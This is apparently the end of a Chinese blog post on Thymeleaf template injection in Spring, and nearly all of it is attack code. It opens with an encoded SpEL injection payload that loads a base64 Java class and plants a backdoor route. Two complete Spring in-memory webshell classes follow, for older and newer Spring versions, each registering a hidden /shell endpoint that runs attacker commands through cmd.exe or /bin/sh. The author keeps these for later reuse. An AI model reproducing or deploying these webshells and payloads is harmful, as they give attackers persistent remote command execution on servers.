29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAAVidWlsZAEAQSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgAhAA8ACwAAAAAAAwABACsALAABAC0AAAAvAAEAAQAAAAUqtwABsQAAAAIALgAAAAYAAQAAAAwALwAAAAwAAQAAAAUAMAAxAAAACQAyADMAAgAtAAABoQAHAAkAAACqEgJMKrYAA00sEgS2AAVOLQS2AAYtKrYAB8AACDoEKrYAAxIJBr0AClkDEgtTWQQSC1NZBRIMU7YADToFGQUEtgAOEg8SEAS9AApZAxIRU7YAEjoGuwATWQO9ABS3ABU6BwS9ABFZAxIWU7gAFxkEuQAYAgC5ABkBADoIGQUqBr0AC1kDGQhTWQS7AA9ZtwAaU1kFGQZTtgAbVxIcTKcAC00stgAeEh9MK7AAAQADAJ0AoAAdAAQALgAAAEYAEQAAAA4AAwAQAAgAEQAPABIAFAATAB4AFQA8ABYAQgAXAFQAGABhABoAewAcAJoAHQCdACEAoAAeAKEAHwClACAAqAAiAC8AAABmAAoACACVADQANQACAA8AjgA2ADcAAwAeAH8AOAA7AAQAPABhADwAPQAFAFQASQA-AD0ABgBhADwAPwBAAAcAewAiAEEAQgAIAKEABwBDAEQAAgAAAKoARQBGAAAAAwCnAEcASAABAEkAAAAMAAEACACVADQASgACAEsAAAATAAL_AKAAAgcATAcATQABBwBOBwBPAAAABQEARQAAAAEAPgBQAAQALQAAAGgABAADAAAAJrsAIFm4ACErtgAitgAjtwAkEiW2ACa2ACdNuwAoWSyyACm3ACqwAAAAAgAuAAAACgACAAAAJgAaACcALwAAACAAAwAAACYAMAAxAAAAAAAmAFEASAABABoADABSAEgAAgBTAAAABAABAFQATwAAAAUBAFEAAABVAAAADAEAAQBWAAEAV3MAUQACAFgAAAACAFkAOgAAABIAAgAIAGEAOQAJAG8AYQCVBgk=%22),nEw%20javax.management.loading.MLet(NeW%20java.net.URL(%22http%22,%22127.0.0.1%22,%221.txt%22),T%20(java.lang.Thread).currentThread().getContextClassLoader())).doInject(T%20(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute(%22org.springframework.web.servlet.DispatcherServlet.CONTEXT%22,0).getBean(T%20(Class).forName(%22org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping%22)))%7D__::main.x
然后访问/shell路由cmd传参即可
spring内存马 这里顺便把文章的内存马记录一下,以后方便用
<2.6.0
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class InjectToController extends AbstractTranslet { public InjectToController () throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping" ).getDeclaredMethod("getMappingRegistry" ); method.setAccessible(true ); Method method2 = InjectToController.class.getMethod("test" ); PatternsRequestCondition url = new PatternsRequestCondition ("/shell" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null ); InjectToController injectToController = new InjectToController ("aaa" ); mappingHandlerMapping.registerMapping(info, injectToController, method2); } public InjectToController (String aaa) {} public void test () throws IOException{ HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); try { String arg0 = request.getParameter("cmd" ); PrintWriter writer = response.getWriter(); if (arg0 != null ) { String o = "" ; ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )){ p = new ProcessBuilder (new String []{"cmd.exe" , "/c" , arg0}); }else { p = new ProcessBuilder (new String []{"/bin/sh" , "-c" , arg0}); } java.util.Scanner c = new java .util.Scanner(p.start().getInputStream()).useDelimiter("\\A" ); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else { response.sendError(404 ); } }catch (Exception e){} } @Override public void transform (com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } @Override public void transform (com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } }
>=2.6.0
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.Method;public class InjectToController2 extends AbstractTranslet { public InjectToController2 () { try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config" ); configField.setAccessible(true ); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = InjectToController2.class.getMethod("test" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); RequestMappingInfo info = RequestMappingInfo.paths("/shell" ).options(config).build(); InjectToController2 springControllerMemShell = new InjectToController2 ("aaa" ); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); } catch (Exception e) { } } public InjectToController2 (String aaa) { } public void test () throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); try { String arg0 = request.getParameter("cmd" ); PrintWriter writer = response.getWriter(); if (arg0 != null ) { String o = "" ; ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )) { p = new ProcessBuilder (new String []{"cmd.exe" , "/c" , arg0}); } else { p = new ProcessBuilder (new String []{"/bin/sh" , "-c" , arg0}); } java.util.Scanner c = new java .util.Scanner(p.start().getInputStream()).useDelimiter("\\A" ); o = c.hasNext() ? c.next() : o; c.close(); writer.write(o); writer.flush(); writer.close(); } else { response.sendError(404 ); } } catch (Exception e) { } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
参考 https://justdoittt.top/2024/03/24/Thymeleaf%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/index.htm
https://cn-sec.com/archives/3118198.html
https://forum.butian.net/share/1922
https://xz.aliyun.com/t/11688?time__1311=Cq0xRQKQq7qmqGNDQiiQqPGI3oLfObQWa4D
http://www.bmth666.cn/2022/09/27/Spring%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/index.html